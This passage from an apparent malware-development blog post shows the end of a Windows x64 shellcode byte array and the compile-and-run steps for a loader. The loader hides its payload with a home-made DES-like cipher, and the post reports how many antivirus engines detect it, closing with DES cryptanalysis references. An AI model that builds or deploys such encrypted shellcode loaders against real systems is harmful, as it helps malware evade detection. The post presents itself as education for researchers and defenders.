  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

demo

Let’s go to see everything in action. Compile it (in my linux machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 11 x64 in my case):

.\hack.exe

cryptography

Nice! Everything is worked perfectly! =^..^=

If we analyse DES implementation via Windows Crypto API from this post we got this indicator:

cryptography

https://www.virustotal.com/gui/file/d66bdc22cd4f39dcbfb75d553ecfd6a1a6afc996c66f1b26ba43795667282223/behavior

As I wrote, this increasing malware’s level of detection.

Let’s upload our DES-like algorithm implementation to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/edcb97183ce4de77d84c7ec6ad43533b11ebb3d62067eb29edba63c04e42bc74/detection

So, 24 of of 72 AV engines detect our file as malicious.

This implementation of the DES cipher is not fully compliant with the official Data Encryption Standard (DES) specification. For example, DES standard uses a specific PC-1 (Permutation Choice 1) table to select 56 bits from the 64-bit key, and PC-2 (Permutation Choice 2) for deriving the 48-bit round keys. It also performs specific left circular shifts for key halves during each round.
In my code functions PC1_TABLE, PC2_TABLE, and SHIFT_TABLE are implemented, that mimic the key schedule process, but there is no guarantee they match the DES standard exactly.

My code also correctly enforces a block size of 64 bits, but it adds padding (0x90 bytes) manually when the input is not a multiple of 8. As I know, the official DES does not define padding behavior - this is handled by higher-level protocols.

Finally, DES specification includes eight substitution boxes (S-Boxes), which are defined exactly and must not vary. My code implements S-boxes, which appear to follow the DES specification. However, the implementation should be verified against the official DES S-Box definitions to ensure they are identical, since I am not sure.

cryptanalysis

The DES has been extensively analyzed since its inception, leading to the development of various cryptanalytic techniques. Here is a some of well-known papers that have significantly contributed to the cryptanalysis of DES:

Linear Cryptanalysis Method for DES Cipher. Author: Mitsuru Matsui. Computer and Information Systems Laboratory. Mitsubishi Electric Corporation - Matsui presents linear cryptanalysis, a known-plaintext attack that uses linear approximations to describe the behavior of the block cipher. This method was successfully applied to DES, marking a significant advancement in cryptanalysis.
https://luca-giuzzi.unibs.it/corsi/Support/papers-cryptography/Matsui.pdf

Linear Cryptanalysis of DES with Asymmetries. Authors: Andrey Bogdanov and Philip S. Vejre. Technical University of Denmark - The authors explore linear cryptanalysis in the presence of asymmetries within DES. Their findings contribute to a better understanding of how structural non-uniformities can be exploited in cryptanalysis.
https://eprint.iacr.org/2017/895.pdf

Cryptanalysis of the Full DES and the Full 3DES Using a New Linear Property. Authors: Tomer Ashur and Raluca Posteuca. imec-COSIC, KU Leuven, Leuven, Belgium - This paper introduces a novel attack method called the “poisonous hull” and applies it to the full DES and 3DES. The study demonstrates the attack’s effectiveness and discusses its implications for the security of these ciphers.
https://eprint.iacr.org/2018/1219.pdf

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting encryption technique and analysis tricks, and adds a weapon to the red teamers arsenal.

DES cipher
Run shellcode via EnumDesktopsA
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine